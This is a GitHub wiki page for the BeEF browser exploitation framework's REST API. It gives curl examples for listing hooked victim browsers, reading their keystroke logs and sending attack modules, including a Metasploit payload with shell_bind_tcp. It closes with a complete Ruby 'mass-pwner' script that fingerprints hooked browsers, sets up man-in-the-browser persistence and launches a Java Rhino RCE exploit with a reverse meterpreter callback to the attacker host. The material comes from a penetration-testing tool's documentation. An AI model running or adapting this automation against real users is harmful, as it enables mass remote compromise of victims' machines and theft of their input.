Skip to content

BeEF RESTful API

antisnatchor edited this page May 8, 2012 · 41 revisions

Introduction

From version 0.4.3.3 BeEF exposes a RESTful API. All the exchanged data uses the JSON format, for both HTTP responses and HTTP POST requests that have a body. In order to use the API, a token parameter must be always added to requests, otherwise a 401 error (Not Authorized) is returned.

The pseudo-random token is newly generated every time BeEF starts, using BeEF::Core::Crypto::api_token and is then added to the BeEF::Configuration object. It can be retrieved at any time via ruby using BeEF::Core::Configuration.instance.get('beef.api_token')

When BeEF starts, look at the console output for [16:02:47][*] RESTful API key: 320f3cf4da7bf0df7566a517c5db796e73a23f47. That will be the value of the token parameter

Alternatively, for example if you want to write automated scripts that uses the RESTful API, you can issue a POST request to /api/admin/login using the BeEF credentials you will find in the main config.yaml file (beef.credentials). An example with curl: curl -H "Content-Type: application/json" -X POST -d '{"username":"beef", "password":"beef"}' http://127.0.0.1:3000/api/admin/login

response: {"success":true,"token":"8dc651e5ee1cb06003878bb26bd0e72800caeea0"}

In this way you can parse the JSON response grabbing the token, and use it for your next requests to BeEF.

Hooked Browsers

Handler => /api/hooks The hooks handler gives information about the hooked browsers, both online and offline.

Request => GET /api/hooks

curl http://beefserver.com:3000/api/hooks?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response

{
    "hooked-browsers": {
        "online": {
            "0": {
                "name": "FF",
                "version": "10",
                "os": "Intel Mac OS X 10.7",
                "platform": "MacIntel",
                "session": "nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk",
                "ip": "127.0.0.1",
                "domain": "127.0.0.1",
                "port": "3000",
                "page_uri": "http://127.0.0.1:3000/demos/basic.html"
            }
        },
        "offline": {
            "0": {
                "name": "C",
                "version": "17",
                "os": "Macintosh",
                "platform": "MacIntel",
                "session": "26bxiMKoFfOeBgcvIV84qeOsEULKQIEYDH4djMbMPeoAZU4yySMIlJJ7GrAMwuMa0eX9wCKk24KOsCoT",
                "ip": "127.0.0.1",
                "domain": "127.0.0.1",
                "port": "3000",
                "page_uri": "http://127.0.0.1:3000/demos/basic.html"
}}}}

In order to retrieve relative hooked browser details (like enabled plugins and technologies, cookies, screen size and additional info), we must specify the unique session id that identified the browser in the BeEF framework. This information can be found from the previous /api/hooks call: the session key value.

Request => GET /api/hooks/:session

curl http://beefserver.com:3000/api/hooks/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response

{ "BrowserName" : "O",
  "BrowserPlugins" : "Shockwave Flash\nJava Applet Plug-in\nQuickTime Plug-in 7.7.1\nSharePoint Browser Plug-in\nSilverlight Plug-In\nWebEx64 General Plugin Container",
  "BrowserReportedName" : "Opera/9.80 (Macintosh; Intel Mac OS X 10.7.3; U; en) Presto/2.10.229 Version/11.62",
  "BrowserType" : "{"O11":true,"O":true}",
  "BrowserVersion" : "11",
  "Cookies" : "BEEFHOOK=nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk",
  "HasActiveX" : "No",
  "HasFlash" : "Yes",
  "HasGoogleGears" : "No",
  "HasWebSocket" : "No",
  "HostName" : "127.0.0.1",
  "JavaEnabled" : "Yes",
  "OsName" : "Macintosh",
  "PageReferrer" : "No Referrer",
  "PageTitle" : "BeEF Basic Demo",
  "PageURI" : "http://127.0.0.1:3000/demos/basic.html",
  "ScreenParams" : "{"width"=>1680, "height"=>1050, "colordepth"=>32}",
  "SystemPlatform" : "MacIntel",
  "VBScriptEnabled" : "No",
  "WindowSize" : "{"width"=>1000, "height"=>729}",
  "hasPersistentCookies" : "Yes",
  "hasSessionCookies" : "Yes"
}

Logs

Handler => /api/logs The logs handler gives information about hooked browser logs, both global and relative ones.

Request => GET /api/logs

curl http://beefserver.com:3000/api/logs?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response (snip)

{
    "logs_count": 8,
    "logs": [
        {
            "id": 1,
            "date": "2012-03-20T16:14:11+01:00",
            "event": "127.0.0.1 just joined the horde from the domain: 127.0.0.1:3000",
            "type": "Zombie"
        },
        {
            "id": 8,
            "date": "2012-03-20T16:18:27+01:00",
            "event": "19.092s - [Focus] Browser has regained focus.",
            "type": "Event"
        }
    ]
}

In order to retrieve relative hooked browser logs, so events that are logged for a specific browser, we must specify the unique session id that identified the browser in the BeEF framework. This information can be found from the previous /api/hooks call: the session key value.

Request => GET /api/logs/:session

curl http://beefserver.com:3000/api/logs/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response (snip)

{
    "logs_count": 13,
    "logs": [
        {
            "id": 1,
            "date": "2012-03-20T16:14:11+01:00",
            "event": "127.0.0.1 just joined the horde from the domain: 127.0.0.1:3000",
            "type": "Zombie"
        },
        {
            "id": 16,
            "date": "2012-03-20T16:40:18+01:00",
            "event": "6.071s - [User Typed] "an" > input#imptxt(Important Text)",
            "type": "Event"
        },
        {
            "id": 17,
            "date": "2012-03-20T16:40:19+01:00",
            "event": "7.086s - [User Typed] "tisnatc" > input#imptxt(Important Text)",
            "type": "Event"
        },
        {
            "id": 18,
            "date": "2012-03-20T16:40:20+01:00",
            "event": "8.099s - [User Typed] "hor" > input#imptxt(Important Text)",
            "type": "Event"
        }
    ]
}

Command Modules

Handler => /api/modules The modules handler do multiple things:

===List all available and enabled command modules===

Request => GET /api/modules

curl http://beefserver.com:3000/api/modules?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response (snip)

{
    "0": {
        "id": 1,
        "name": "Linksys WRT54G CSRF",
        "category": "Router"
    },
    "65": {
        "id": 69,
        "name": "Redirect Browser (Rickroll)",
        "category": "Browser"
    },
    "66": {
        "id": 70,
        "name": "Replace Videos",
        "category": "Browser"
    },
    "67": {
        "id": 71,
        "name": "Create Prompt Dialog",
        "category": "Browser"
    }
}

===Return information about a specified module (description, category, input options)===

Request => GET /api/modules/:module_id

curl http://beefserver.com:3000/api/modules/71?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response

{
    "name": "prompt_dialog",
    "description": "Sends a prompt dialog to the hooked browser.",
    "category": "Browser",
    "options": [
        {
            "name": "question",
            "description": "Prompt text",
            "ui_label": "Prompt text"
        }
    ]
}

===Send a command module to the specified hooked browser===

NOTE: the request header must contain Content-Type: application/json; charset=UTF-8 and the request body must be valid JSON. In the following example we send the prompt-dialog command module: according to the previous /api/modules/71 call, we can specify the question input with our custom value.

Request => POST /api/modules/:session/:module_id

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"question":"wtf?"}' -X POST http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/71?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response

{
    "success": "true",
    "command_id": "1"
}

===Return information about the specific command module previously executed===

Reusing the previous example, we want to know the command module execution results (or, what the victim entered to the prompt dialog). In this case the victim entered don't know :D

Request => GET /api/modules/:session/:mod_id/:cmd_id

curl http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/71/1?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response

{
    "date": "1332260323",
    "data": "{"data":"answer=don't know"}"
}

===Send a Metasploit module===

NOTE: the request header must contain Content-Type: application/json; charset=UTF-8 and the request body must be valid JSON. In the following example we send the Adobe FlateDecode Stream Predictor 02 Integer Overflow. Metasploit modules will be listed together with BeEF modules, marked with the metasploit category.

Request => POST /api/modules/:session/:module_id

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"}' -X POST http://beefserver.com:3000/api/modules/nBK3BGBILYD0bNMC1IH299oDbZXNNXKfwMEoDwajmItAHhhhe8LLnEPvO3wFjg1rO4PzXsBbUAK1V0gk/236?token=320f3cf4da7bf0df7566a517c5db796e73a23f47

Response

NOTE: in this case we cannot query BeEF nor Metasploit if module execution was successful or not. This is why there is "command_id":"not_available" in the response.

{
    "success": "true",
    "command_id": "not_available"
}

A real example: Java 1.6.0u27 mass-pwner

#
#   Copyright 2012 Michele Orru [email protected]
#
#   Licensed under the Apache License, Version 2.0 (the "License");
#   you may not use this file except in compliance with the License.
#   You may obtain a copy of the License at
#
#       http://www.apache.org/licenses/LICENSE-2.0
#
#   Unless required by applicable law or agreed to in writing, software
#   distributed under the License is distributed on an "AS IS" BASIS,
#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#   See the License for the specific language governing permissions and
#   limitations under the License.
#
# Java 1.6.0u27 mass-pwner
# - run metasploit (./msfconsole -r ../BeEF.rc)
# - get browser plugins
# - get OS type and browser type/version
# - in order to achieve persistence:
#   - if the hooked browser is IE launch the iFrame above,
#   - otherwise MitB
# - launch get_system_info if java version is not exposed by plugins
# - retrieve exact version of the JDK
# - if JDK is vulnerable -> launch Rhino RCE exploit (reverse Java meterpreter)
require 'rest_client'
require 'json'

# RESTful API root endpoints
ATTACK_DOMAIN = "192.168.0.40"
RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks"
RESTAPI_LOGS = "http://" + ATTACK_DOMAIN + ":3000/api/logs"
RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules"
RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin"

BEEF_USER = "beef"
BEEF_PASSWD = "beef"
# we also assume that BeEF and Metasploit are on the same host.
# be sure to have "host" and "callback_host" in extensions/metasploit/config.yaml
# with the same value of ATTACK_DOMAIN

@token = nil
@modules = nil
@hooks = nil
@meterpreter_lport = 10666

def print_banner
  puts "[>>>] JDK <= 1.6.0_27 mass pwner]"
  puts "[>>>] uses BeEF RESTful API to control mass zombies"
  puts "[>>>] BeEF persistence techniques used: Mitb/iframe_above"
  puts "[>>>] MSF Rhino RCE is used to pwn the host if the detected version of Java is vulnerable"
  puts "[>>>] [by AntiSnatchOr - 2012]"

end

def auth
  response = RestClient.post "#{RESTAPI_ADMIN}/login",
                             { 'username' => "#{BEEF_USER}",
                               'password' => "#{BEEF_PASSWD}"}.to_json,
                             :content_type => :json,
                             :accept => :json
  result = JSON.parse(response.body)
  @token = result['token']
  puts "[+] Retrieved RESTful API token: #{@token}"
end

def hooks
  response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @token}}
  result = JSON.parse(response.body)
  @hooks = result["hooked-browsers"]["online"]
  puts "[+] Retrieved Hooked Browsers list. Online: #{@hooks.size}"
end

def modules
  response = RestClient.get "#{RESTAPI_MODULES}", {:params => {:token => @token}}
  @modules = JSON.parse(response.body)
  puts "[+] Retrieved #{@modules.size} available command modules"
end

################# HELPERS #########################
def get_module_id(mod_name)
  @modules.each do |mod|
    #normal modules
    if mod_name == mod[1]["class"]
      return mod[1]["id"]
      break
      # metasploit modules
    else if mod[1]["class"] == "Msf_module" && mod_name == mod[1]["name"]
           return mod[1]["id"]
           break
         end
    end
  end
end

def random_string(length)
  chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ'
  result = ''
  length.times { result << chars[rand(chars.size)] }
  result
end
#//////////////////// HELPERS ///////////////////////#

def get_java_version(session)
  response = RestClient.get "#{RESTAPI_HOOKS}/#{session}", {:params => {:token => @token}}
  result = JSON.parse(response.body)
  java_version = nil
  if result['JavaEnabled'] == "Yes"
    puts "[+] Retrieving exact version of Java for Hooked Browser [#{session}]"
    mod_id = get_module_id("Get_system_info")
    response = RestClient.post "#{RESTAPI_MODULES}/#{session}/#{mod_id}?token=#{@token}", {}.to_json,
                               :content_type => :json,
                               :accept => :json
    result = JSON.parse(response.body)
    cmd_id = result['command_id']
    puts "[+] Get_system_info module with command id ##{cmd_id} sent."
    java_version = poll_for_command_results(session, mod_id, cmd_id).split("Java Version: ")[1]
    puts "[+] Get_system_info module with command id ##{cmd_id} executed. Java Version: #{java_version}"
  end
  java_version
end

def poll_for_command_results(session, mod, cmd_id)
  timeout = 30
  java_version = ""
  while timeout > 0 do
    begin
      response = RestClient.get "#{RESTAPI_MODULES}/#{session}/#{mod}/#{cmd_id}", {:params => {:token => @token}}
      result = JSON.parse(response.body)
      data = JSON.parse(result["data"])["data"]
      puts "[-] Cool, got results...parsing them."
      java_version = data[data.index("Java Version: "),22] # return something like "Java Version: 1.6.0_31"
      break
    rescue RestClient::ResourceNotFound  # no response yet...continue until timeout
      puts "[-]No results yet."
      timeout -= 2
      sleep 2
    end
  end
  java_version
end

def pwn_hooks_with_vuln_java
  @windows_hooks = []
  @hooks.each do |hook|
    session = hook[1]["session"]
    browser = "#{hook[1]["name"]}-#{hook[1]["version"]}"

    #The Man-in-the-Browser module is still not supported in IE, so we use the overlay iframe_above module
    if browser.match(/^IE/)
      mod_id = get_module_id("Iframe_above")
      send_iframe_above_module(session, mod_id)
      puts "[+] Hooked browser is [#{browser}]...achieving persistence with iFrame Above module..."
    else
      mod_id = get_module_id("Man_in_the_browser")
      send_mitb_module(session, mod_id)
      puts "[+] Hooked browser is [#{browser}]...achieving persistence with Man In The Browser module..."
    end

    sleep 2
    java_version = get_java_version(session)
    if java_version == nil
      puts "[--] Skipping HookedBrowser [#{browser}]. Java not enabled."
      next
    end
    if java_version == "1.6.0_27" || java_version.split("1.6.0_")[1].to_i < 27
      puts "[+] Java version [#{java_version}] IS vulnerable to Rhino Script Engine RCE exploit. Sending malicious applet..."
      mod_id = get_module_id("Java Applet Rhino Script Engine Remote Code Execution")
      send_msf_module(session, mod_id, "java/meterpreter/reverse_http")
      puts "[+] Exploit [Java Applet Rhino Script Engine RCE] sent. Check your MSFconsole :D"
    else
      puts "[+] Java version [#{java_version}] IS NOT vulnerable to Rhino Script Engine RCE exploit. Skipping Hooked Browser."
    end
  end
end

def send_mitb_module(session, mod_id)
  RestClient.post "#{RESTAPI_MODULES}/#{session}/#{mod_id}?token=#{@token}", {}.to_json,
                             :content_type => :json,
                             :accept => :json
end

def send_iframe_above_module(session, mod_id)
  RestClient.post "#{RESTAPI_MODULES}/#{session}/#{mod_id}?token=#{@token}",
                             {}.to_json,
                             :content_type => :json,
                             :accept => :json
end

def send_msf_module(session, mod_id, payload)
  RestClient.post "#{RESTAPI_MODULES}/#{session}/#{mod_id}?token=#{@token}",
                             {"SRVHOST" => "#{ATTACK_DOMAIN}",
                              "SRVPORT" => "8080",
                              "URIPATH" => random_string(10),
                              "PAYLOAD" => payload,
                              "LHOST" => "#{ATTACK_DOMAIN}",
                              "LPORT" => @meterpreter_lport
                             }.to_json,
                             :content_type => :json,
                             :accept => :json
  @meterpreter_lport += 1
  sleep 5
end

print_banner
# Retrieve the RESTful API token
auth
# Retrieve online hooked browsers
hooks
# Retrieve available modules
modules
# Filter hooked browsers selecting only those with Java Enabled, then:
# - in order to achieve persistence, if the hooked browser is IE launch the iFrame above, otherwise MitB
# - launch get_system_info module to retrieve the exact version of Java
# - if java is 1.6.0_27 or lower, launch the Rhino RCE exploit
pwn_hooks_with_vuln_java
Clone this wiki locally